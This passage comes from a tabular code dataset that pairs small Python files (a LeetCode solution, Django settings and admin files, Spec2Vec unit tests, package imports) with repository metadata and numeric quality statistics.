| 0.730592
| 0.714317
| 0.69551
| 0.684366
| 0.673068
| 0
| 0.012094
| 0.159599
| 72,513
| 749
| 6,857
| 96.813084
| 0.733016
| 0.67832
| 0
| 0.033613
| 0
| 0.310924
| 0.29316
| 0.196354
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0.02521
| 0.02521
| 0
| 0.067227
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
f9a938f483a34d498e42785d25b83f4bb43d8287
| 131
|
py
|
Python
|
Algorithms/String/1624. Largest Substring Between Two Equal Characters.py
|
chopchap/leetcode
|
24d0986770a37ada73a6171773c27e6883653689
|
[
"MIT"
] | 1
|
2020-12-02T13:54:30.000Z
|
2020-12-02T13:54:30.000Z
|
Algorithms/String/1624. Largest Substring Between Two Equal Characters.py
|
chopchap/leetcode
|
24d0986770a37ada73a6171773c27e6883653689
|
[
"MIT"
] | null | null | null |
Algorithms/String/1624. Largest Substring Between Two Equal Characters.py
|
chopchap/leetcode
|
24d0986770a37ada73a6171773c27e6883653689
|
[
"MIT"
] | null | null | null |
class Solution:
def maxLengthBetweenEqualCharacters(self, s: str) -> int:
return max([s.rfind(ch)-s.find(ch)-1 for ch in s])
| 32.75
| 59
| 0.694656
| 21
| 131
| 4.333333
| 0.761905
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.009009
| 0.152672
| 131
| 3
| 60
| 43.666667
| 0.810811
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0
| 0.333333
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 5
|
f9e45e2af64bd5d66f41323e0bf438647304d984
| 96
|
py
|
Python
|
venv/lib/python3.8/site-packages/numpy/tests/test_scripts.py
|
GiulianaPola/select_repeats
|
17a0d053d4f874e42cf654dd142168c2ec8fbd11
|
[
"MIT"
] | 2
|
2022-03-13T01:58:52.000Z
|
2022-03-31T06:07:54.000Z
|
venv/lib/python3.8/site-packages/numpy/tests/test_scripts.py
|
DesmoSearch/Desmobot
|
b70b45df3485351f471080deb5c785c4bc5c4beb
|
[
"MIT"
] | 19
|
2021-11-20T04:09:18.000Z
|
2022-03-23T15:05:55.000Z
|
venv/lib/python3.8/site-packages/numpy/tests/test_scripts.py
|
DesmoSearch/Desmobot
|
b70b45df3485351f471080deb5c785c4bc5c4beb
|
[
"MIT"
] | null | null | null |
/home/runner/.cache/pip/pool/9a/6b/a1/8628f1afd3e6884a61ef66a12cd9eca0927f54d9edf6be78f9013aeedb
| 96
| 96
| 0.895833
| 9
| 96
| 9.555556
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.354167
| 0
| 96
| 1
| 96
| 96
| 0.541667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
dda5cb52432fd0dfd8ffcfabdcf686fb6455247e
| 331
|
py
|
Python
|
multilingual_project_blog/settings/installed_apps/admin_tools.py
|
bigee/django-multilingual-project-blog
|
c62d568ac42b3c7f711624bf7029ac56e7342b6a
|
[
"MIT"
] | null | null | null |
multilingual_project_blog/settings/installed_apps/admin_tools.py
|
bigee/django-multilingual-project-blog
|
c62d568ac42b3c7f711624bf7029ac56e7342b6a
|
[
"MIT"
] | 8
|
2020-02-11T23:25:46.000Z
|
2022-03-11T23:15:31.000Z
|
multilingual_project_blog/settings/installed_apps/admin_tools.py
|
bigee/django-multilingual-project-blog
|
c62d568ac42b3c7f711624bf7029ac56e7342b6a
|
[
"MIT"
] | null | null | null |
"""Settings for the ``admin_tools`` app."""
ADMIN_TOOLS_MENU = 'multilingual_project_blog.admin_menu.CustomMenu'
ADMIN_TOOLS_INDEX_DASHBOARD = 'multilingual_project_blog.admin_dashboard.CustomIndexDashboard' # NOPEP8
ADMIN_TOOLS_APP_INDEX_DASHBOARD = 'multilingual_project_blog.admin_dashboard.CustomAppIndexDashboard' # NOPEP8
| 55.166667
| 111
| 0.851964
| 38
| 331
| 6.921053
| 0.421053
| 0.152091
| 0.262357
| 0.319392
| 0.387833
| 0.387833
| 0.387833
| 0
| 0
| 0
| 0
| 0.006452
| 0.063444
| 331
| 5
| 112
| 66.2
| 0.841935
| 0.1571
| 0
| 0
| 0
| 0
| 0.639706
| 0.639706
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
ddac9c606975f4ad45d8e65f6ab66423b2c10dd5
| 99
|
py
|
Python
|
setup.py
|
danieldotnl/experia-v10-device-tracker
|
7ac0ca19cdb75f4dc618bc56eaeabd4214ff3bd7
|
[
"MIT"
] | 16
|
2018-03-21T08:06:02.000Z
|
2021-12-12T20:06:10.000Z
|
setup.py
|
danieldotnl/experia-v10-device-tracker
|
7ac0ca19cdb75f4dc618bc56eaeabd4214ff3bd7
|
[
"MIT"
] | 15
|
2018-03-26T21:58:51.000Z
|
2021-11-24T21:44:56.000Z
|
setup.py
|
danieldotnl/experia-v10-device-tracker
|
7ac0ca19cdb75f4dc618bc56eaeabd4214ff3bd7
|
[
"MIT"
] | 19
|
2018-09-22T17:14:55.000Z
|
2021-12-12T20:05:19.000Z
|
from setuptools import setup, find_packages
setup(name="experiaboxv10", packages=find_packages())
| 24.75
| 53
| 0.818182
| 12
| 99
| 6.583333
| 0.666667
| 0.303797
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.021978
| 0.080808
| 99
| 3
| 54
| 33
| 0.846154
| 0
| 0
| 0
| 0
| 0
| 0.131313
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
fb026e800dd1e8d4e4eeae8a2be0b3af3def0e9c
| 145
|
py
|
Python
|
src/lostpetfinder/pets/admin.py
|
hhtek/aip-assessment-03
|
262b21648b6ba0a2df6004956d66019b481a2f2e
|
[
"ADSL"
] | null | null | null |
src/lostpetfinder/pets/admin.py
|
hhtek/aip-assessment-03
|
262b21648b6ba0a2df6004956d66019b481a2f2e
|
[
"ADSL"
] | 9
|
2020-02-11T23:30:23.000Z
|
2022-03-11T23:15:41.000Z
|
src/lostpetfinder/pets/admin.py
|
henrydho/aip-assessment-03
|
262b21648b6ba0a2df6004956d66019b481a2f2e
|
[
"ADSL"
] | 1
|
2017-08-22T09:38:48.000Z
|
2017-08-22T09:38:48.000Z
|
from django.contrib import admin
from .models import Pet
# Model registration
admin.site.register(Pet) # register Pet application to admin.site
| 24.166667
| 65
| 0.806897
| 21
| 145
| 5.571429
| 0.619048
| 0.153846
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.131034
| 145
| 5
| 66
| 29
| 0.928571
| 0.393103
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.666667
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
fb0d283ba702a82c55d117d35b1c9b763de9fceb
| 180
|
py
|
Python
|
design/product_design.py
|
MacwinWin/multiprocessing_asyncio_data_processing
|
f3259d672ad91aee7b809d48b82aafd8be0cf76b
|
[
"MIT"
] | 1
|
2021-07-21T10:23:45.000Z
|
2021-07-21T10:23:45.000Z
|
design/product_design.py
|
MacwinWin/multiprocessing_asyncio_data_processing
|
f3259d672ad91aee7b809d48b82aafd8be0cf76b
|
[
"MIT"
] | null | null | null |
design/product_design.py
|
MacwinWin/multiprocessing_asyncio_data_processing
|
f3259d672ad91aee7b809d48b82aafd8be0cf76b
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# @author : microfat
# @time : 01/26/21 20:40:02
# @File : production_design.py
def blueprint(cache, material):
return "",{}
| 22.5
| 32
| 0.611111
| 25
| 180
| 4.36
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.095238
| 0.183333
| 180
| 8
| 33
| 22.5
| 0.646259
| 0.672222
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.5
| false
| 0
| 0
| 0.5
| 1
| 0.5
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 1
|
0
| 5
|
348af7ae6840bc1c3eb0a61d5cb2df490478858c
| 67
|
py
|
Python
|
qunetsim/objects/connections/channel_models/__init__.py
|
pritamsinha2304/QuNetSim
|
65a7486d532816724b5c98cfdcc0910404bfe0e2
|
[
"MIT"
] | 61
|
2020-02-15T00:59:20.000Z
|
2022-03-08T10:29:23.000Z
|
qunetsim/objects/connections/channel_models/__init__.py
|
pritamsinha2304/QuNetSim
|
65a7486d532816724b5c98cfdcc0910404bfe0e2
|
[
"MIT"
] | 50
|
2020-01-28T12:18:50.000Z
|
2021-12-16T21:38:19.000Z
|
qunetsim/objects/connections/channel_models/__init__.py
|
pritamsinha2304/QuNetSim
|
65a7486d532816724b5c98cfdcc0910404bfe0e2
|
[
"MIT"
] | 27
|
2020-01-21T12:59:28.000Z
|
2022-02-21T14:23:00.000Z
|
from .fibre import Fibre
from .binary_erasure import BinaryErasure
| 22.333333
| 41
| 0.850746
| 9
| 67
| 6.222222
| 0.666667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.119403
| 67
| 2
| 42
| 33.5
| 0.949153
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
34a382bd8e10940029b5c80f798c8561ccaf77da
| 115
|
py
|
Python
|
api_v1/admin.py
|
mrkiura/bank_otuch
|
6f7a86697d7b488aac8b8b29200ddf37a1704310
|
[
"MIT"
] | 1
|
2021-11-19T20:42:31.000Z
|
2021-11-19T20:42:31.000Z
|
api_v1/admin.py
|
alexkiura/bank_otuch
|
6f7a86697d7b488aac8b8b29200ddf37a1704310
|
[
"MIT"
] | 7
|
2018-04-27T04:41:55.000Z
|
2019-10-25T22:32:35.000Z
|
api_v1/admin.py
|
mrkiura/bank_otuch
|
6f7a86697d7b488aac8b8b29200ddf37a1704310
|
[
"MIT"
] | null | null | null |
from django.contrib import admin # noqa: F401
from .models import BankingUser
admin.site.register(BankingUser)
| 16.428571
| 46
| 0.791304
| 15
| 115
| 6.066667
| 0.733333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.030303
| 0.13913
| 115
| 6
| 47
| 19.166667
| 0.888889
| 0.086957
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.666667
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
34b680ac388900e92055fa62af3c63db9bc30ee2
| 8,177
|
py
|
Python
|
tests/test_spec2vec.py
|
iomega/Spec2Vec
|
56d8a79789e3ef6ca69fad395d7b0ca5769e1efe
|
[
"Apache-2.0"
] | null | null | null |
tests/test_spec2vec.py
|
iomega/Spec2Vec
|
56d8a79789e3ef6ca69fad395d7b0ca5769e1efe
|
[
"Apache-2.0"
] | 5
|
2020-02-18T15:45:31.000Z
|
2020-05-11T12:09:43.000Z
|
tests/test_spec2vec.py
|
matchms/spec2vec
|
56d8a79789e3ef6ca69fad395d7b0ca5769e1efe
|
[
"Apache-2.0"
] | 2
|
2019-10-17T16:55:51.000Z
|
2020-03-16T13:37:54.000Z
|
import os
import gensim
import numpy as np
import pytest
from matchms import Spectrum
from spec2vec import Spec2Vec, SpectrumDocument
def test_spec2vec_pair_method_spectrum_entry():
"""Test if pair of two Spectrums is handled correctly"""
spectrum_1 = Spectrum(mz=np.array([100, 150, 200.]),
intensities=np.array([0.7, 0.2, 0.1]),
metadata={'id': 'spectrum1'})
spectrum_2 = Spectrum(mz=np.array([100, 140, 190.]),
intensities=np.array([0.4, 0.2, 0.1]),
metadata={'id': 'spectrum2'})
model = load_test_model()
spec2vec = Spec2Vec(model=model, intensity_weighting_power=0.5)
score01 = spec2vec.pair(spectrum_1, spectrum_2)
assert score01 == pytest.approx(0.9936808, 1e-6)
score11 = spec2vec.pair(spectrum_2, spectrum_2)
assert score11 == pytest.approx(1.0, 1e-9)
def test_spec2vec_pair_method_spectrumdocument_entry():
"""Test if pair of two SpectrumDocuments is handled correctly"""
spectrum_1 = Spectrum(mz=np.array([100, 150, 200.]),
intensities=np.array([0.7, 0.2, 0.1]),
metadata={'id': 'spectrum1'})
spectrum_2 = Spectrum(mz=np.array([100, 140, 190.]),
intensities=np.array([0.4, 0.2, 0.1]),
metadata={'id': 'spectrum2'})
documents = [SpectrumDocument(s, n_decimals=1) for s in [spectrum_1, spectrum_2]]
model = load_test_model()
spec2vec = Spec2Vec(model=model, intensity_weighting_power=0.5)
score01 = spec2vec.pair(documents[0], documents[1])
assert score01 == pytest.approx(0.9936808, 1e-6)
score11 = spec2vec.pair(documents[1], documents[1])
assert score11 == pytest.approx(1.0, 1e-9)
def test_spec2vec_pair_method_none_entry():
"""Test if wrong input data raises expected exception"""
spectrum_1 = Spectrum(mz=np.array([100, 150, 200.]),
intensities=np.array([0.7, 0.2, 0.1]),
metadata={'id': 'spectrum1'})
spectrum_2 = None
model = load_test_model()
spec2vec = Spec2Vec(model=model)
with pytest.raises(ValueError) as msg:
_ = spec2vec.pair(spectrum_1, spectrum_2)
expected_msg = "Expected input type to be Spectrum or SpectrumDocument"
assert expected_msg in str(msg), "Expected different exception"
def test_spec2vec_pair_method_wrong_spectrumdocument_entry():
"""Test if SpectrumDocuments with different decimal rounding is handled correctly"""
spectrum_1 = Spectrum(mz=np.array([100, 150, 200.]),
intensities=np.array([0.7, 0.2, 0.1]),
metadata={'id': 'spectrum1'})
spectrum_2 = Spectrum(mz=np.array([100, 140, 190.]),
intensities=np.array([0.4, 0.2, 0.1]),
metadata={'id': 'spectrum2'})
documents = [SpectrumDocument(s, n_decimals=2) for s in [spectrum_1, spectrum_2]]
model = load_test_model()
spec2vec = Spec2Vec(model=model, intensity_weighting_power=0.5)
with pytest.raises(AssertionError) as msg:
_ = spec2vec.pair(documents[0], documents[1])
expected_msg = "Decimal rounding of input data does not agree with model vocabulary."
assert expected_msg in str(msg), "Expected different exception"
@pytest.mark.parametrize("progress_bar", [True, False])
def test_spec2vec_matrix_method(progress_bar):
"""Test if matrix of 2x2 SpectrumDocuments is handled correctly.
Run with and without progress bar.
"""
spectrum_1 = Spectrum(mz=np.array([100, 150, 200.]),
intensities=np.array([0.7, 0.2, 0.1]),
metadata={'id': 'spectrum1'})
spectrum_2 = Spectrum(mz=np.array([100, 140, 190.]),
intensities=np.array([0.4, 0.2, 0.1]),
metadata={'id': 'spectrum2'})
documents = [SpectrumDocument(s, n_decimals=1) for s in [spectrum_1, spectrum_2]]
model = load_test_model()
spec2vec = Spec2Vec(model=model, intensity_weighting_power=0.5, progress_bar=progress_bar)
scores = spec2vec.matrix(documents, documents)
assert scores[0, 0] == pytest.approx(1.0, 1e-9), "Expected different score."
assert scores[1, 1] == pytest.approx(1.0, 1e-9), "Expected different score."
assert scores[1, 0] == pytest.approx(0.9936808, 1e-6), "Expected different score."
assert scores[0, 1] == pytest.approx(0.9936808, 1e-6), "Expected different score."
def test_spec2vec_matrix_method_symmetric_spectrum_entry():
"""Test if matrix of 2x2 Spectrums is handled correctly.
Run with is_symmetric=True.
"""
spectrum_1 = Spectrum(mz=np.array([100, 150, 200.]),
intensities=np.array([0.7, 0.2, 0.1]),
metadata={'id': 'spectrum1'})
spectrum_2 = Spectrum(mz=np.array([100, 140, 190.]),
intensities=np.array([0.4, 0.2, 0.1]),
metadata={'id': 'spectrum2'})
spectrums = [spectrum_1, spectrum_2]
model = load_test_model()
spec2vec = Spec2Vec(model=model, intensity_weighting_power=0.5)
scores = spec2vec.matrix(spectrums, spectrums, is_symmetric=True)
assert scores[0, 0] == pytest.approx(1.0, 1e-9), "Expected different score."
assert scores[1, 1] == pytest.approx(1.0, 1e-9), "Expected different score."
assert scores[1, 0] == pytest.approx(0.9936808, 1e-6), "Expected different score."
assert scores[0, 1] == pytest.approx(0.9936808, 1e-6), "Expected different score."
def test_spec2vec_matrix_method_symmetric_spectrumdocument_entry():
"""Test if matrix of 2x2 SpectrumDocuments is handled correctly.
Run with is_symmetric=True.
"""
spectrum_1 = Spectrum(mz=np.array([100, 150, 200.]),
intensities=np.array([0.7, 0.2, 0.1]),
metadata={'id': 'spectrum1'})
spectrum_2 = Spectrum(mz=np.array([100, 140, 190.]),
intensities=np.array([0.4, 0.2, 0.1]),
metadata={'id': 'spectrum2'})
documents = [SpectrumDocument(s, n_decimals=1) for s in [spectrum_1, spectrum_2]]
model = load_test_model()
spec2vec = Spec2Vec(model=model, intensity_weighting_power=0.5)
scores = spec2vec.matrix(documents, documents, is_symmetric=True)
assert scores[0, 0] == pytest.approx(1.0, 1e-9), "Expected different score."
assert scores[1, 1] == pytest.approx(1.0, 1e-9), "Expected different score."
assert scores[1, 0] == pytest.approx(0.9936808, 1e-6), "Expected different score."
assert scores[0, 1] == pytest.approx(0.9936808, 1e-6), "Expected different score."
def test_spec2vec_matrix_method_symmetric_wrong_entry():
"""Test if matrix of 2x2 SpectrumDocuments is handled correctly.
Run with is_symmetric=True but non symmetric entries.
"""
spectrum_1 = Spectrum(mz=np.array([100, 150, 200.]),
intensities=np.array([0.7, 0.2, 0.1]),
metadata={'id': 'spectrum1'})
spectrum_2 = Spectrum(mz=np.array([100, 140, 190.]),
intensities=np.array([0.4, 0.2, 0.1]),
metadata={'id': 'spectrum2'})
documents1 = [SpectrumDocument(s, n_decimals=1) for s in [spectrum_1, spectrum_2]]
documents2 = [SpectrumDocument(s, n_decimals=1) for s in [spectrum_2, spectrum_1]]
model = load_test_model()
spec2vec = Spec2Vec(model=model, intensity_weighting_power=0.5)
expected_msg = "Expected references to be equal to queries for is_symmetric=True"
with pytest.raises(AssertionError) as msg:
_ = spec2vec.matrix(documents1, documents2, is_symmetric=True)
assert expected_msg in str(msg), "Expected different exception message"
def load_test_model():
"""Load pretrained Word2Vec model."""
repository_root = os.path.join(os.path.dirname(__file__), "..")
model_file = os.path.join(repository_root, "integration-tests", "test_user_workflow_spec2vec.model")
assert os.path.isfile(model_file), "Expected file not found."
return gensim.models.Word2Vec.load(model_file)
| 48.384615
| 104
| 0.637642
| 1,073
| 8,177
| 4.721342
| 0.115564
| 0.041453
| 0.053691
| 0.050336
| 0.789578
| 0.763324
| 0.732925
| 0.715949
| 0.707264
| 0.66897
| 0
| 0.079956
| 0.22759
| 8,177
| 168
| 105
| 48.672619
| 0.722134
| 0.080225
| 0
| 0.66129
| 0
| 0
| 0.111709
| 0.004436
| 0
| 0
| 0
| 0
| 0.177419
| 1
| 0.072581
| false
| 0
| 0.048387
| 0
| 0.129032
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
9b50a68143a3aa86361f8fc631c0f1da44bb27c3
| 53
|
py
|
Python
|
projects/CenterNet/center_net/__init__.py
|
qingswu/Detectron2-CenterNet
|
40b80d1a6aa85c7352d5088f44225d64c242cf83
|
[
"Apache-2.0"
] | 5
|
2020-07-01T07:55:45.000Z
|
2022-03-05T04:03:09.000Z
|
projects/CenterNet/center_net/__init__.py
|
qingswu/Detectron2-CenterNet
|
40b80d1a6aa85c7352d5088f44225d64c242cf83
|
[
"Apache-2.0"
] | 2
|
2020-12-08T12:40:43.000Z
|
2021-09-08T02:15:21.000Z
|
projects/CenterNet/center_net/__init__.py
|
qingswu/Detectron2-CenterNet
|
40b80d1a6aa85c7352d5088f44225d64c242cf83
|
[
"Apache-2.0"
] | 2
|
2021-01-17T14:51:09.000Z
|
2021-03-23T02:07:35.000Z
|
from .dataset_mapper import TrafficLightDatasetMapper
| 53
| 53
| 0.924528
| 5
| 53
| 9.6
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.056604
| 53
| 1
| 53
| 53
| 0.96
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
9b5be8a5cefa324b144d358f226690b978efe513
| 306
|
py
|
Python
|
catalearn/custom_exceptions.py
|
Catalearn/Catalearn
|
01587241bf9b6809975a560e654d3ef3a47965e8
|
[
"MIT"
] | null | null | null |
catalearn/custom_exceptions.py
|
Catalearn/Catalearn
|
01587241bf9b6809975a560e654d3ef3a47965e8
|
[
"MIT"
] | null | null | null |
catalearn/custom_exceptions.py
|
Catalearn/Catalearn
|
01587241bf9b6809975a560e654d3ef3a47965e8
|
[
"MIT"
] | null | null | null |
class JobInterruptedException(Exception):
def __init__(self, *args,**kwargs):
Exception.__init__(self,*args,**kwargs)
class RequestFailedException(Exception):
def __init__(self, error_msg, *args,**kwargs):
Exception.__init__(self,*args,**kwargs)
self.error_msg = error_msg
| 34
| 50
| 0.705882
| 33
| 306
| 5.969697
| 0.333333
| 0.162437
| 0.182741
| 0.274112
| 0.375635
| 0.375635
| 0.375635
| 0
| 0
| 0
| 0
| 0
| 0.160131
| 306
| 9
| 51
| 34
| 0.766537
| 0
| 0
| 0.285714
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.285714
| false
| 0
| 0
| 0
| 0.571429
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 5
|
9b6c55686bed43f1353562aa4c7659bdee486464
| 143
|
py
|
Python
|
students/k33402/Polyakov_Andrei/LR_3/weather/cities/admin.py
|
Odyvannnn/ITMO_ICT_WebDevelopment_2021-2022
|
81335028ceefccb857eff175b01857ffe81c618a
|
[
"MIT"
] | null | null | null |
students/k33402/Polyakov_Andrei/LR_3/weather/cities/admin.py
|
Odyvannnn/ITMO_ICT_WebDevelopment_2021-2022
|
81335028ceefccb857eff175b01857ffe81c618a
|
[
"MIT"
] | null | null | null |
students/k33402/Polyakov_Andrei/LR_3/weather/cities/admin.py
|
Odyvannnn/ITMO_ICT_WebDevelopment_2021-2022
|
81335028ceefccb857eff175b01857ffe81c618a
|
[
"MIT"
] | null | null | null |
from django.contrib import admin
from cities.models import City, CityPreference
admin.site.register(City)
admin.site.register(CityPreference)
| 23.833333
| 46
| 0.839161
| 19
| 143
| 6.315789
| 0.578947
| 0.15
| 0.283333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.083916
| 143
| 5
| 47
| 28.6
| 0.916031
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
9b7d056411121326ff7dba5141ec2fd729978c8f
| 560
|
py
|
Python
|
bot/utilities/objects/__init__.py
|
Axelancerr/Life
|
1e214af2a46439a756c442967be4bfa8b05fd99c
|
[
"MIT"
] | 27
|
2020-10-18T04:35:00.000Z
|
2021-08-03T13:21:27.000Z
|
bot/utilities/objects/__init__.py
|
Axelancerr/Life
|
1e214af2a46439a756c442967be4bfa8b05fd99c
|
[
"MIT"
] | 19
|
2020-12-04T23:03:51.000Z
|
2021-08-14T20:21:53.000Z
|
bot/utilities/objects/__init__.py
|
Axelancerr/Life
|
1e214af2a46439a756c442967be4bfa8b05fd99c
|
[
"MIT"
] | 7
|
2020-10-26T18:51:17.000Z
|
2021-07-07T05:39:01.000Z
|
# Future
from __future__ import annotations
# My stuff
from utilities.objects.datetime import FuturePhrasedDatetimeSearch, PastPhrasedDatetimeSearch
from utilities.objects.guild import GuildConfig
from utilities.objects.image import Image
from utilities.objects.member import MemberConfig
from utilities.objects.notifications import Notifications
from utilities.objects.reminder import Reminder
from utilities.objects.tag import Tag
from utilities.objects.time import Time
from utilities.objects.todo import Todo
from utilities.objects.user import UserConfig
| 37.333333
| 93
| 0.867857
| 68
| 560
| 7.088235
| 0.338235
| 0.26971
| 0.414938
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.091071
| 560
| 14
| 94
| 40
| 0.946955
| 0.026786
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
9b8ef62f24e1ab023866024b047d10b911c75fd7
| 28
|
py
|
Python
|
backend/microservices/auth/core/usecases/user/exception/__init__.py
|
MuhamedAbdalla/Automatic-Audio-Book-Based-On-Emotion-Detection
|
72130ad037b900461af5be6d80b27ab29c81de5e
|
[
"MIT"
] | 3
|
2021-04-26T00:17:14.000Z
|
2021-07-04T15:30:09.000Z
|
backend/microservices/auth/core/usecases/user/exception/__init__.py
|
MuhamedAbdalla/Automatic-Audio-Book-Based-On-Emotion-Detection
|
72130ad037b900461af5be6d80b27ab29c81de5e
|
[
"MIT"
] | null | null | null |
backend/microservices/auth/core/usecases/user/exception/__init__.py
|
MuhamedAbdalla/Automatic-Audio-Book-Based-On-Emotion-Detection
|
72130ad037b900461af5be6d80b27ab29c81de5e
|
[
"MIT"
] | null | null | null |
from .update_user import *
| 14
| 27
| 0.75
| 4
| 28
| 5
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.178571
| 28
| 1
| 28
| 28
| 0.869565
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
